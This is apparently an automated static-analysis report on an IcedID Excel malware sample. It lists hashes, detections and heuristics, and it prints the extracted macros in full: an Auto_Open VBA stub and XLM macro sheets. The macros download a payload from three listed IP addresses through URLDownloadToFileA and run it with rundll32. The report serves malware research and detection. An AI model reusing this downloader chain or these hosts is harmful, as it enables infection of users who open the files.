IcedID — Office (OOXML) malware analysis

Static analysis result for SHA-256 e9e4cd7293bf4954…

MALICIOUS

Office (OOXML)

173.4 KB Created: 2015-06-05 18:19:34 UTC Authoring application: Microsoft Excel 16.0300 First seen: 2021-05-26
MD5: 274e3b58df2ad0cdbaede29401b6cc6a SHA-1: 8c0ba493e310bcedbd6be857be638af8488f7faf SHA-256: e9e4cd7293bf4954a589d01c96864d34225501d953dc1fd6706d57f929e35150
238 Risk Score

Malware Insights

IcedID · confidence 95%

MITRE ATT&CK
T1059.005 Visual Basic T1203 Exploitation for Client Execution T1105 Ingress Tool Transfer

This Excel document contains critical Excel 4.0 macros that utilize dangerous functions like FORMULA.FILL and REGISTER to download and execute a second-stage payload. The macros construct the URL 'http://188.127.254.159/44283,9203350694.dat' to fetch the payload. The presence of an Auto_Open macro further indicates an intent for immediate execution upon opening.

Heuristics 8

  • ClamAV: Xls.Downloader.IcedID-9f1f1d193a2a2a2b-9951463-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Xls.Downloader.IcedID-9f1f1d193a2a2a2b-9951463-0
  • Excel 4.0 macro sheet (3 sheet(s)) critical 1 related finding OOXML_XLM_MACROSHEET
    Spreadsheet contains an Excel 4.0 (XLM) macro sheet — XLM was a major Office malware vector during 2020-2022 and evaded many VBA-focused controls before Microsoft tightened XLM defaults. Even legitimate XLM use is rare in modern workbooks.
  • Dangerous XLM formula APIs: FORMULA.FILL, REGISTER, EXEC, GOTO, HALT critical OOXML_XLM_DANGEROUS_FN
    Excel 4.0 macro sheet uses formula APIs that call directly into Win32 (=CALL/=EXEC/=REGISTER/=FORMULA). These are the primitives used to download payloads, write files, and start processes from an XLM macro without invoking VBA.
  • VBA project inside OOXML medium 1 related finding OOXML_VBA
    Document contains a VBA project — VBA macros present
  • Auto_Open macro low OLE_VBA_AUTO
    Auto_Open macro
    Matched line in script
    Attribute VB_Name = "Module1"
Private Sub Auto_Open()
Application.Run Sheets("Lof").Range("CD5")
  • Suspicious extracted artifact medium EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
  • Hidden worksheet (hidden) low OOXML_HIDDEN_SHEET
    Excel workbook contains 3 hidden sheet(s) — hidden sheets are commonly used to conceal macro code, staging data, or intermediate payload construction
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://188.127.254.159/ Referenced by macro
    • http://45.150.67.233/Referenced by macro
    • http://195.123.210.174/Referenced by macro
    • http://188.127.254.159/44283,9203350694.datReferenced by macro
    • http://45.150.67.233/44283,9203350694.datReferenced by macro
    • http://195.123.210.174/44283,9203350694.datReferenced by macro
    • http://schemas.openxmlformats.org/spreadsheetml/2006/mainIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/excel/2006/mainIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/officeDocument/2006/relationshipsIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/markup-compatibility/2006In document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/spreadsheetml/2009/9/acIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/spreadsheetml/2014/revisionIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/spreadsheetml/2015/revision2In document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/spreadsheetml/2016/revision3In document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/spreadsheetml/2016/revision6In document text (OOXML body / shared strings)

Extracted artifacts 5

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source from OOXML) 725 bytes
SHA-256: 9456119f4ad9ffbf394753b3270c4cc6771da38eb4b7a68a2e2db0e18d3b2def
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "Лист1"
Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

Attribute VB_Name = "ЭтаКнига"
Attribute VB_Base = "0{00020819-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True


Attribute VB_Name = "Module1"
Private Sub Auto_Open()
Application.Run Sheets("Lof").Range("CD5")
End Sub
vbaProject_00.bin vba-project OOXML VBA project: xl/vbaProject.bin 10752 bytes
SHA-256: 96a4c076c231f55af87e70862a508afd265f594ed85afdd945ccfda6cbacc052
xlm_sheet_00.xml xlm-macrosheet OOXML XLM macro sheet: xl/macrosheets/sheet1.xml 3563 bytes
SHA-256: 7cb36c4173ff698a6012f6dfd3257116b399f9beb0e02be12efe4e665ca582cd
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 1 shell/COM execution token(s).
Preview script
First 1,000 lines of the extracted script
<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<xm:macrosheet xmlns="http://schemas.openxmlformats.org/spreadsheetml/2006/main" xmlns:xm="http://schemas.microsoft.com/office/excel/2006/main" xmlns:r="http://schemas.openxmlformats.org/officeDocument/2006/relationships" xmlns:mc="http://schemas.openxmlformats.org/markup-compatibility/2006" mc:Ignorable="x14ac xr xr2 xr3 xr6" xmlns:x14ac="http://schemas.microsoft.com/office/spreadsheetml/2009/9/ac" xmlns:xr="http://schemas.microsoft.com/office/spreadsheetml/2014/revision" xmlns:xr2="http://schemas.microsoft.com/office/spreadsheetml/2015/revision2" xmlns:xr3="http://schemas.microsoft.com/office/spreadsheetml/2016/revision3" xmlns:xr6="http://schemas.microsoft.com/office/spreadsheetml/2016/revision6" xr6:uid="{674A3FEE-4583-422B-936D-3862B5C011DB}"><dimension ref="BY266:CF283"/><sheetViews><sheetView showFormulas="1" workbookViewId="0"/></sheetViews><sheetFormatPr defaultColWidth="8.44140625" defaultRowHeight="14.4" x14ac:dyDescent="0.3"/><cols><col min="1" max="75" width="8.44140625" style="1"/><col min="76" max="76" width="8.44140625" style="1" customWidth="1"/><col min="77" max="84" width="8.44140625" style="1" hidden="1" customWidth="1"/><col min="85" max="16384" width="8.44140625" style="1"/></cols><sheetData><row r="266" spans="81:83" x14ac:dyDescent="0.3"><c r="CD266" s="1"><f>NOW()</f><v>44283.920335069444</v></c></row><row r="267" spans="81:83" x14ac:dyDescent="0.3"><c r="CD267" s="1" t="b"><f>FORMULA.FILL("URLDownloadToFileA",CE271)</f><v>0</v></c></row><row r="268" spans="81:83" x14ac:dyDescent="0.3"><c r="CC268" s="1" t="str"><f>CONCATENATE(CC274,CD266,CC273)</f><v>http://188.127.254.159/44283,9203350694.dat</v></c></row><row r="269" spans="81:83" x14ac:dyDescent="0.3"><c r="CC269" s="1" t="str"><f>CONCATENATE(CC275,CD266,CC273)</f><v>http://45.150.67.233/44283,9203350694.dat</v></c><c r="CD269" s="1" t="b"><f>REGISTER(CE270,CE271,CE269,CE273,,1,9)</f><v>0</v></c><c r="CE269" s="1" t="s"><v>4</v></c></row><row r="270" spans="81:83" x14ac:dyDescent="0.3"><c r="CC270" s="1" t="str"><f>CONCATENATE(CC276,CD266,CC273)</f><v>http://195.123.210.174/44283,9203350694.dat</v></c><c r="CD270" s="1" t="b"><f>REGISTER(CE270,CE271,CE272,CE273,,1,9)</f><v>0</v></c><c r="CE270" s="1" t="s"><v>0</v></c></row><row r="271" spans="81:83" x14ac:dyDescent="0.3"><c r="CD271" s="1" t="e"><f>Belandes(0,CC268,"..\Hodas.vyur",0,0)</f><v>#NAME?</v></c></row><row r="272" spans="81:83" x14ac:dyDescent="0.3"><c r="CD272" s="1" t="e"><f>Belandes(0,CC269,"..\Hodas.vyur1",0,0)</f><v>#NAME?</v></c><c r="CE272" s="1" t="s"><v>1</v></c></row><row r="273" spans="81:83" x14ac:dyDescent="0.3"><c r="CC273" s="1" t="s"><v>3</v></c><c r="CD273" s="1" t="e"><f>Belandes(0,CC270,"..\Hodas.vyur2",0,0)</f><v>#NAME?</v></c><c r="CE273" s="1" t="s"><v>2</v></c></row><row r="274" spans="81:83" x14ac:dyDescent="0.3"><c r="CC274" s="1" t="s"><v>5</v></c></row><row r="275" spans="81:83" x14ac:dyDescent="0.3"><c r="CC275" s="1" t="s"><v>6</v></c></row><row r="276" spans="81:83" x14ac:dyDescent="0.3"><c r="CC276" s="1" t="s"><v>7</v></c></row><row r="280" spans="81:83" x14ac:dyDescent="0.3"><c r="CD280" s="1" t="b"><f>EXEC("rundll32 "&amp;"..\Hodas.vyur"&amp;",DllRegisterServer")</f><v>0</v></c></row><row r="283" spans="81:83" x14ac:dyDescent="0.3"><c r="CD283" s="1" t="e"><f>GOTO(Lov!E4)</f><v>#N/A</v></c></row></sheetData><pageMargins left="0.7" right="0.7" top="0.75" bottom="0.75" header="0.3" footer="0.3"/><pageSetup paperSize="9" orientation="portrait" r:id="rId1"/></xm:macrosheet>
xlm_sheet_01.xml xlm-macrosheet OOXML XLM macro sheet: xl/macrosheets/sheet2.xml 1524 bytes
SHA-256: a2ce2a9e42eae3aa14cd5f223f4b3b59e70988efdd370d2e091e70d8da44ea47
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 1 shell/COM execution token(s).
Preview script
First 1,000 lines of the extracted script
<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<xm:macrosheet xmlns="http://schemas.openxmlformats.org/spreadsheetml/2006/main" xmlns:xm="http://schemas.microsoft.com/office/excel/2006/main" xmlns:r="http://schemas.openxmlformats.org/officeDocument/2006/relationships" xmlns:mc="http://schemas.openxmlformats.org/markup-compatibility/2006" mc:Ignorable="x14ac xr xr2 xr3 xr6" xmlns:x14ac="http://schemas.microsoft.com/office/spreadsheetml/2009/9/ac" xmlns:xr="http://schemas.microsoft.com/office/spreadsheetml/2014/revision" xmlns:xr2="http://schemas.microsoft.com/office/spreadsheetml/2015/revision2" xmlns:xr3="http://schemas.microsoft.com/office/spreadsheetml/2016/revision3" xmlns:xr6="http://schemas.microsoft.com/office/spreadsheetml/2016/revision6" xr6:uid="{627EEF39-4B44-4490-9264-EA5BF8C1B6B9}"><dimension ref="E6:E8"/><sheetViews><sheetView showFormulas="1" workbookViewId="0"/></sheetViews><sheetFormatPr defaultColWidth="7.88671875" defaultRowHeight="14.4" x14ac:dyDescent="0.3"/><cols><col min="1" max="16384" width="7.88671875" style="1"/></cols><sheetData><row r="6" spans="5:5" x14ac:dyDescent="0.3"><c r="E6" s="1" t="b"><f>EXEC("rundll32 "&amp;"..\Hodas.vyur1"&amp;",DllRegisterServer")</f><v>0</v></c></row><row r="8" spans="5:5" x14ac:dyDescent="0.3"><c r="E8" s="1" t="e"><f>GOTO('Lov2'!D4)</f><v>#N/A</v></c></row></sheetData><pageMargins left="0.7" right="0.7" top="0.75" bottom="0.75" header="0.3" footer="0.3"/><pageSetup paperSize="9" orientation="portrait" r:id="rId1"/></xm:macrosheet>
xlm_sheet_02.xml xlm-macrosheet OOXML XLM macro sheet: xl/macrosheets/sheet3.xml 1509 bytes
SHA-256: c9074d5ab99827dff52b3ed1f36f3677541f7b56256a9ed95f057fdf5c783274
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 1 shell/COM execution token(s).
Preview script
First 1,000 lines of the extracted script
<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<xm:macrosheet xmlns="http://schemas.openxmlformats.org/spreadsheetml/2006/main" xmlns:xm="http://schemas.microsoft.com/office/excel/2006/main" xmlns:r="http://schemas.openxmlformats.org/officeDocument/2006/relationships" xmlns:mc="http://schemas.openxmlformats.org/markup-compatibility/2006" mc:Ignorable="x14ac xr xr2 xr3 xr6" xmlns:x14ac="http://schemas.microsoft.com/office/spreadsheetml/2009/9/ac" xmlns:xr="http://schemas.microsoft.com/office/spreadsheetml/2014/revision" xmlns:xr2="http://schemas.microsoft.com/office/spreadsheetml/2015/revision2" xmlns:xr3="http://schemas.microsoft.com/office/spreadsheetml/2016/revision3" xmlns:xr6="http://schemas.microsoft.com/office/spreadsheetml/2016/revision6" xr6:uid="{72067F03-3C2F-409F-9206-0552CD863068}"><dimension ref="D6:D11"/><sheetViews><sheetView showFormulas="1" workbookViewId="0"/></sheetViews><sheetFormatPr defaultColWidth="8.21875" defaultRowHeight="14.4" x14ac:dyDescent="0.3"/><cols><col min="1" max="16384" width="8.21875" style="1"/></cols><sheetData><row r="6" spans="4:4" x14ac:dyDescent="0.3"><c r="D6" s="1" t="b"><f>EXEC("rundll32 "&amp;"..\Hodas.vyur2"&amp;",DllRegisterServer")</f><v>0</v></c></row><row r="11" spans="4:4" x14ac:dyDescent="0.3"><c r="D11" s="1" t="b"><f>HALT()</f><v>0</v></c></row></sheetData><pageMargins left="0.7" right="0.7" top="0.75" bottom="0.75" header="0.3" footer="0.3"/><pageSetup paperSize="9" orientation="portrait" r:id="rId1"/></xm:macrosheet>

Open this report in the interactive analyzer, or submit your own file for analysis.